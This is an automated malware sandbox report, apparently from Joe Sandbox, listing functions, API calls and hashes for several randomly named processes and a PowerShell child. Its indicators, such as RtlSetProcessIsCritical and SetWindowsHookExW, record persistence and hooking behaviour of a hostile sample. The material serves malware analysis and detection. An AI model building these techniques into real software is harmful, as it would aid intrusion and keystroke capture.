Opcode ID: f3c7ffe37119d5960e29bac784ee999e60dd8015e82a87bdc8af8edc20cfebb1
Instruction ID: 357dba381cafa47b8b50b4a03c884faeb6fd39c8ec75a2843c94d8555da9948b
Opcode Fuzzy Hash: f3c7ffe37119d5960e29bac784ee999e60dd8015e82a87bdc8af8edc20cfebb1
Instruction Fuzzy Hash: 1CE05274E0A647BAEA118B11A84B5A137B4BF5430EB803032C40C97360DF3CB10DEF08

Non-executed Functions

Function 00007FF630CE1240 Relevance: 10.6, APIs: 7, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF630CE1353
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF630CE1372
RtlVirtualUnwind.KERNEL32 ref: 00007FF630CE13BF
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF630CE1456
UnhandledExceptionFilter.KERNEL32 ref: 00007FF630CE1463
GetCurrentProcess.KERNEL32 ref: 00007FF630CE1469
TerminateProcess.KERNEL32 ref: 00007FF630CE1477

Memory Dump Source

Source File: 00000001.00000002.1691499035.00007FF630CE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF630CE0000, based on PE: true

Associated: 00000001.00000002.1691474359.00007FF630CE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff630ce0000_rKPaQokQ.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtual
String ID:
API String ID: 3266983031-0
Opcode ID: 3f4a8eccdaacee45f95532b3a06a74df7695b770c7f1d0e3a0e2c0ef18d089ea
Instruction ID: b48826922af19ce2fc003152a2d7150c94a4de9dee19154a122d11f6e8fd32d9
Opcode Fuzzy Hash: 3f4a8eccdaacee45f95532b3a06a74df7695b770c7f1d0e3a0e2c0ef18d089ea
Instruction Fuzzy Hash: A231D735A08B46A1EB108B14F88A369B7B4FF8574AF502039DA8D82764DF7CE55CE704

Function 00007FF630CE1264 Relevance: 9.0, APIs: 6, Instructions: 49
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF630CE1839), ref: 00007FF630CE129A
GetCurrentProcessId.KERNEL32(?,?,?,00007FF630CE1839), ref: 00007FF630CE12A8
GetCurrentThreadId.KERNEL32 ref: 00007FF630CE12B4
GetTickCount.KERNEL32 ref: 00007FF630CE12C0
GetTickCount.KERNEL32 ref: 00007FF630CE12D0
QueryPerformanceCounter.KERNEL32(?,?,?,00007FF630CE1839), ref: 00007FF630CE12EB

Memory Dump Source

Source File: 00000001.00000002.1691499035.00007FF630CE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF630CE0000, based on PE: true

Associated: 00000001.00000002.1691474359.00007FF630CE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff630ce0000_rKPaQokQ.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 6d05e97ad7152ad940533a717775fd3e471bf463976c5954689ff5dc2ea8ee6c
Instruction ID: b0ba24ba15912e500a02b239d4444c5afd4492bd5e40c0cca26291fe9118bfff
Opcode Fuzzy Hash: 6d05e97ad7152ad940533a717775fd3e471bf463976c5954689ff5dc2ea8ee6c
Instruction Fuzzy Hash: 68111D32604B819AEB10CF70EC561A933B4FF4875DB452A35EA6E82754DF3CDAA8C240

Analysis Process: wjoqZlIS.exePID: 6528, Parent PID: 6356COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	2

Executed Functions

Function 065904F4 Relevance: 1.7, Strings: 1, Instructions: 499COMMON

Download Yara Rule

Strings

P, xrefs: 065904F8

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 54e79eb0378ac23e3ae905b0084d0d4d34ca200d213da1d5817c775e9c62c9ab
Instruction ID: 4b9300959d3f121f659c87d81ddf3fba11eabaab4c1c985d2ca57237aeddb743
Opcode Fuzzy Hash: 54e79eb0378ac23e3ae905b0084d0d4d34ca200d213da1d5817c775e9c62c9ab
Instruction Fuzzy Hash: E81269307506248FCF14EFA8C550A6EBBB2FF85705F10895CD5029F7A5CB75E90A8B91

Function 06547648 Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E58,?,?,06547506), ref: 065476B6

Memory Dump Source

Source File: 00000002.00000002.1870738059.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6540000_wjoqZlIS.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6dfe23526faeeca4b762995cb2fcaec03367b1e9d2c5f9a6f751b7f0b02eeed1
Instruction ID: 21d0cc6bdc23cb34c0d488fe6a025d5d28c85b206dfe317db774e6265d2c104f
Opcode Fuzzy Hash: 6dfe23526faeeca4b762995cb2fcaec03367b1e9d2c5f9a6f751b7f0b02eeed1
Instruction Fuzzy Hash: CB1142B6C002498FCB10DF9AC944ACEFBF5AB88324F14842AD418A7320C374A546CFA5

Function 0654712C Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E58,?,?,06547506), ref: 065476B6

Memory Dump Source

Source File: 00000002.00000002.1870738059.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6540000_wjoqZlIS.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8104b196af2cfbd660d3ef69b6d89ab42d32d585b7334f5c789cf2b81f814612
Instruction ID: 6fabe98d99fcf039152bfdbc03ab3826b9eea004e72ad8645b9cd1115e64f99b
Opcode Fuzzy Hash: 8104b196af2cfbd660d3ef69b6d89ab42d32d585b7334f5c789cf2b81f814612
Instruction Fuzzy Hash: 961123B1D002498FDB10DFAAC844ADEFBF5EB89324F14886AD419B7210C375A545CFA4

Function 012E0CE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 012E0D47

Memory Dump Source

Source File: 00000002.00000002.1818495391.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12e0000_wjoqZlIS.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 590935de4c25bc95f6edc635f2b297e6590ec7282bd60af567efb10605e5a0b0
Instruction ID: 15092ebddda113f4cd5a089401138b5dd8eb53ac869ccaccd4d071de754c2b3f
Opcode Fuzzy Hash: 590935de4c25bc95f6edc635f2b297e6590ec7282bd60af567efb10605e5a0b0
Instruction Fuzzy Hash: 8A1146B1900349CFDB24DFAAC4497DEBBF4EB88324F208829D559A7250C7756945CBA4

Function 012E0CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 012E0D47

Memory Dump Source

Source File: 00000002.00000002.1818495391.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_12e0000_wjoqZlIS.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: a0b8970767c58993ead8e48a006a1e6fb4c34ac11c706fd94d3973ade75f5707
Instruction ID: 7ed6d856a8276604469d22ce47b17e2efff2f6951fe4ba19bc3392c083f7e8e4
Opcode Fuzzy Hash: a0b8970767c58993ead8e48a006a1e6fb4c34ac11c706fd94d3973ade75f5707
Instruction Fuzzy Hash: 691136B1D002498FDB24DFAAC4457DEFFF4EB88324F208819D559A7250CB79A544CBA4

Function 06591550 Relevance: 1.4, Instructions: 1414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e12ed8ddfa8760d495fd6deed2476c36d8b2818b851f64f3f055d167a09311
Instruction ID: ca67c9c31d00859e46953c8305047d0c13d8cc997a6e18dbf8e1a9a00c854ede
Opcode Fuzzy Hash: 19e12ed8ddfa8760d495fd6deed2476c36d8b2818b851f64f3f055d167a09311
Instruction Fuzzy Hash: CEC23C34B502189FCF15DB58CD90EADBBB6BF88700F50809AE50AAB365DB31AD45CF61

Function 0659349D Relevance: 1.3, Instructions: 1277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f491476c22117c9a7af49fc8572cd2d4d64fc2b2685459fddfce1b10fd66ff14
Instruction ID: f80a3ef4b2d05017a1a059f04d931477ba2d6fb6612e55d9a7c26fcacb246b26
Opcode Fuzzy Hash: f491476c22117c9a7af49fc8572cd2d4d64fc2b2685459fddfce1b10fd66ff14
Instruction Fuzzy Hash: 9EA16974B10245DFCF44DB68C994E6EBBF2FF89600B14846AE5169B3A1CB35DC05CBA1

Function 06590048 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ee6d669c1d508e48b1e66f2af55be98b1a322533ba9fac7ef481fd0ad52ba0
Instruction ID: fed28309191d39bbdb2c87962e212e3a0cc5bfab5bd9e93fb7e6c3dd5988f6af
Opcode Fuzzy Hash: 21ee6d669c1d508e48b1e66f2af55be98b1a322533ba9fac7ef481fd0ad52ba0
Instruction Fuzzy Hash: B0427B307506258FCB24EFA8D55096EBBF2FFC5705B10895CD4029F7A4CB7AE80A8B95

Function 0659056A Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c5440707a0696f7aef71feb7dc61afbbf03121bc05e59bb64222e437ef01dc4
Instruction ID: 09653e284d628e71b462cf29b7b8e60dadb75bf9e4613838d64b462b11019efa
Opcode Fuzzy Hash: 1c5440707a0696f7aef71feb7dc61afbbf03121bc05e59bb64222e437ef01dc4
Instruction Fuzzy Hash: 29026A30B506148FCF14EFA8C950A6EBBB2FF85705F10895CD5029F3A5CB75E94A8B91

Function 065905E0 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 456398094676be86cb35b56a2f684c1f9ae327bb1d7b8dd3fb95942f99a04373
Instruction ID: b3d5e43a57a5c8737bfad4058faa129c863fbd808d6a72a7764bb6e82189164f
Opcode Fuzzy Hash: 456398094676be86cb35b56a2f684c1f9ae327bb1d7b8dd3fb95942f99a04373
Instruction Fuzzy Hash: 71026930B502148FDF10DFA8C950A6EBBB2FF85704F10899DD5029F3A5CB76E94A8B91

Function 06590656 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a12affb0761855e3c4575fc70ce9aa1ad7a08d154b2140e1a2b2a760327c4532
Instruction ID: d4610693e918f5529766f8e193f28639d7e6107d55a489dd300283ebea1a67ec
Opcode Fuzzy Hash: a12affb0761855e3c4575fc70ce9aa1ad7a08d154b2140e1a2b2a760327c4532
Instruction Fuzzy Hash: 4DF18B30B502149FDF10DFA8C944A6EBBB2FF85704F108899E5029F3A5CB75E94A8F91

Function 065906CC Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57cfc69d419435cdc9f5fcbd925c3d17279428d17438a0ebf6f4288568f6d10a
Instruction ID: c09c98dae50efa85843c240a5faf24d9b2c1a37beb1249ddf072eac07e1d105b
Opcode Fuzzy Hash: 57cfc69d419435cdc9f5fcbd925c3d17279428d17438a0ebf6f4288568f6d10a
Instruction Fuzzy Hash: 46E17B30B502189FDF00DFA8C954A6EBBB6FF85704F108859E5029F3A5CB76D9468FA1

Function 06590000 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4602ac75a42431cee59df1ef92eb60868fd59aec1365ac5f2e92874bacfdb69
Instruction ID: 70498a292c472b1c987170449967e14d9b43dcb3cfe6f91c5c4a1dad198e934d
Opcode Fuzzy Hash: f4602ac75a42431cee59df1ef92eb60868fd59aec1365ac5f2e92874bacfdb69
Instruction Fuzzy Hash: B8D1AD30B012049FDF04DFA8C955A6ABBB6FF89704F10849AE5018F3A6DB71D846CFA1

Function 06591308 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04dfbe231f70e93cd5ae0cb8f34569f4f1ab20b1a8e7cfd30601d0a4c5be864d
Instruction ID: 12170a9cd6fbb35750b624face36beaf417a3fb8d66f93ee6fec6c83472b8800
Opcode Fuzzy Hash: 04dfbe231f70e93cd5ae0cb8f34569f4f1ab20b1a8e7cfd30601d0a4c5be864d
Instruction Fuzzy Hash: 04513531B00B268FCF649E7AD84047ABBF6BFC5250B14857AE949CB211EB31C944CBB1

Function 0659338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d759941adfab8231cf25425744e31e213a9e5739ed0a39d0b24439e537e42c
Instruction ID: c07292726b8dddf271d3ab96b2a1dee725e93bff0e3f9245b7722a431ea052eb
Opcode Fuzzy Hash: 94d759941adfab8231cf25425744e31e213a9e5739ed0a39d0b24439e537e42c
Instruction Fuzzy Hash: 99212A35B80004AFCF54DF69C984EA9BBB2FF88714F5580A9E9059F365DA31EC05CB60

Function 0128D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817560559.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_128d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef19fe0887b96e608f047d4f27151e81eb0ffc4d34d503e74ded11bd948ccbd
Instruction ID: 089c3d70a74c1816d95cbf45a9969d0a83deaa5a8256508fe82b7f6388d018f9
Opcode Fuzzy Hash: cef19fe0887b96e608f047d4f27151e81eb0ffc4d34d503e74ded11bd948ccbd
Instruction Fuzzy Hash: 65212471510244DFCF05EF54D9C0B26BFA5FB88314F24C269EA080A2D6C37AD41ACBA1

Function 0129D4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817700531.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_129d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9a3227ac12e1b11b23e4f33431f11be3c203058784332bf36cea1493745559
Instruction ID: 3f4e53588764f120624b3a15da4466a88b7c5b35f59a90dfe60626f326e3d00b
Opcode Fuzzy Hash: da9a3227ac12e1b11b23e4f33431f11be3c203058784332bf36cea1493745559
Instruction Fuzzy Hash: DB2134B1510208DFCF01CF5CE9C0B26BBA1FB84318F20C56DDA094B252C77AE446DB61

Function 0129D2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817700531.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_129d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1708ebf270311a412c1b312036dc3303944477ec9c5e308c736249be4edfb49f
Instruction ID: b74d08d639dde0013219d6c3808f3283ca758b8af960feca94553ee7899eb827
Opcode Fuzzy Hash: 1708ebf270311a412c1b312036dc3303944477ec9c5e308c736249be4edfb49f
Instruction Fuzzy Hash: 77214671614208DFCF01DF5CD9C0B2ABB65FB84315F20C569D9094B246C37AD446DEA1

Function 0128D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817560559.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_128d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af571a8072d0dd06b83227ef23aab6134eafaf101585d62cdefd210654407788
Instruction ID: 87c1f74106d2f41e40961414f543ec7da7d0f58dc8d7bf1ed7967913f09294c3
Opcode Fuzzy Hash: af571a8072d0dd06b83227ef23aab6134eafaf101585d62cdefd210654407788
Instruction Fuzzy Hash: 3121CD72404284DFCF06DF44D9C4B16BF72FF88314F28C6A9DA480A296C33AD42ACB91

Function 0129D2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817700531.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_129d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dff13d54f3b91835ad91617696d418c13a4717a8e78c88f658639b396ea067ac
Instruction ID: bbbf978e437971341d50ed843fcded316e1dc116b17d04550bd1831e21e40888
Opcode Fuzzy Hash: dff13d54f3b91835ad91617696d418c13a4717a8e78c88f658639b396ea067ac
Instruction Fuzzy Hash: 6411BF76504284CFDB12CF58D5C4B1AFF61FB84324F28C6AAD9494B646C33AD44ADFA2

Function 0129D49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817700531.000000000129D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0129D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_129d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de7163a1e12a4c5df783ee0f29f24f6994aba7d146e6d7d26c00eb2d5c80d5
Instruction ID: 9874c3ef5b9a81c80277b9471a139e759be505ec82e503c00d924bee66c45eaf
Opcode Fuzzy Hash: 17de7163a1e12a4c5df783ee0f29f24f6994aba7d146e6d7d26c00eb2d5c80d5
Instruction Fuzzy Hash: 2A11DD75504284CFDF12CF58D5C4B15BFA1FB84318F28C6AADA494B652C33AD44ADB62

Function 0128DAA5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817560559.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_128d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b72c69178b64d1c250437adc0087e58e191da124a193bcdf47eddc28686b2b14
Instruction ID: bca4060a846d5649219383580c18d7a65bf4a5bff63ab4fd1825f49657525bf0
Opcode Fuzzy Hash: b72c69178b64d1c250437adc0087e58e191da124a193bcdf47eddc28686b2b14
Instruction Fuzzy Hash: CA012B3101A3489AE7109F6ACD84767FFD8EF41324F18C96AEE084B2C6C679D848C671

Function 0128DAA4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1817560559.000000000128D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0128D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_128d000_wjoqZlIS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b2944f5a406047fab738a2a1f13efa2e5b1ec94d0e7674acab6a3e6ad3c12b
Instruction ID: ebb12b96f221a995530a777ff29becbafe8b3074e9fcad4e02c654a0c393bcf0
Opcode Fuzzy Hash: 67b2944f5a406047fab738a2a1f13efa2e5b1ec94d0e7674acab6a3e6ad3c12b
Instruction Fuzzy Hash: 56F0C2714053449EEB108E1ACCC4B66FFA8EB41725F18C95AEE084B2C6C2799848CA70

Non-executed Functions

Function 06590D50 Relevance: 10.3, Strings: 8, Instructions: 296COMMON

Download Yara Rule

Strings

$^q, xrefs: 06590DCC
$^q, xrefs: 06590F50
$^q, xrefs: 06590E42
$^q, xrefs: 06590E4E
$^q, xrefs: 06590F00
$^q, xrefs: 06590F82
$^q, xrefs: 06590E1C
$^q, xrefs: 06590F76

Memory Dump Source

Source File: 00000002.00000002.1871087953.0000000006590000.00000040.00000800.00020000.00000000.sdmp, Offset: 06590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6590000_wjoqZlIS.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: d180f53e55aa529564249c5be195f3f733960a9c8a1d12e61373c731f2fd7c91
Instruction ID: 92173fdd8ebc07f5ddf959e943f31b4e78895a68a5d8578763371cb1161ccf98
Opcode Fuzzy Hash: d180f53e55aa529564249c5be195f3f733960a9c8a1d12e61373c731f2fd7c91
Instruction Fuzzy Hash: 7DB1CF30B002098FDF55DB69C9449AEBBF6BF88314B14886EE406DB3A1CB35DC55CBA1

Analysis Process: YsrQekGS.exePID: 6564, Parent PID: 6356COMMON

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B27206D Relevance: 1.6, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFD9B272142

Memory Dump Source

Source File: 00000004.00000002.2942525714.00007FFD9B270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b270000_YsrQekGS.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: f12dade7880df21767594b55fa6e95f220ceacd08c2835b39b782359fd6bfeca
Instruction ID: 4fecf440d7f4df89043c1fcd9f99dfb438dba977be30e781919a0f83c6f68560
Opcode Fuzzy Hash: f12dade7880df21767594b55fa6e95f220ceacd08c2835b39b782359fd6bfeca
Instruction Fuzzy Hash: 3241033190C6498FCB18DFA8D855BE9BBF0FF56311F04416EE08AC3692CB746846CB91

Function 00007FFD9B272E08 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9B272ED1

Memory Dump Source

Source File: 00000004.00000002.2942525714.00007FFD9B270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b270000_YsrQekGS.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: b46fb0f4f019d485d56054d0e96a0179c577e5e0397009e51db812a023caa832
Instruction ID: f270310a8693d8a664e392884ce19ba6a7d5dd34c1be5b3fbc89cbcdb466ae5d
Opcode Fuzzy Hash: b46fb0f4f019d485d56054d0e96a0179c577e5e0397009e51db812a023caa832
Instruction Fuzzy Hash: FF311730A0CA5C4FDB1CDFAC9856AF97BE1EB55321F00427ED049C3296CA64B852C7C1

Function 00007FFD9B27282A Relevance: 1.6, APIs: 1, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9B272ED1

Memory Dump Source

Source File: 00000004.00000002.2942525714.00007FFD9B270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b270000_YsrQekGS.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: a3ad86e0d28d329692cd74371afd34e9c72e727b185d81927051056f7c9954f2
Instruction ID: 42cfff20cb4f3a7ae0aea8b08d18cd0e5a32f9666a6498b60eff7049f0138a9d
Opcode Fuzzy Hash: a3ad86e0d28d329692cd74371afd34e9c72e727b185d81927051056f7c9954f2
Instruction Fuzzy Hash: 4431C430A1CA1C8FDB58EF9CD8466B977E1EB59321F10423ED00ED3296CB64B8128BC5

Analysis Process: powershell.exePID: 7380, Parent PID: 6564COMMON

Executed Functions

Function 00007FFD9B37660A Relevance: 1.7, Strings: 1, Instructions: 467COMMON

Download Yara Rule

Strings

X7N, xrefs: 00007FFD9B3767FD

Memory Dump Source

Source File: 0000000A.00000002.1772440352.00007FFD9B370000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b370000_powershell.jbxd

Similarity

API ID:
String ID: X7N
API String ID: 0-3255769998
Opcode ID: 3b25a529be9a92d21e24886f905fbadf5768b382b7e744af3e70e97f2069e983
Instruction ID: 17b6ed9e51fb1053007e471de779345da0b86f40a678bc667a81de16ce0161cc
Opcode Fuzzy Hash: 3b25a529be9a92d21e24886f905fbadf5768b382b7e744af3e70e97f2069e983
Instruction Fuzzy Hash: 9ED15632B0EACD1FEB65EBA848B59B47BE1EF56210B0941FED05DC70E7DA18AD018341

Function 00007FFD9B2AA042 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1771882044.00007FFD9B2A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B2A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9b2a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e7cff28e084349eaf7037ebf4ed1a74682c3d52cbcdf39c63a2798f10f90ee6
Instruction ID: e9c5d399be2edb236f10e11cd2bc1d5a4e18deee4aed40e42901cd425526b427
Opcode Fuzzy Hash: 7e7cff28e084349eaf7037ebf4ed1a74682c3d52cbcdf39c63a2798f10f90ee6
Instruction Fuzzy Hash: 4531C63690E7D99FE766ABACA8765E43FA0EF13214F0900F7C099CA0E3E95819558742

Function 00007FFD9B2AA0D3 Relevance: .3, Instructions: 258COMMON

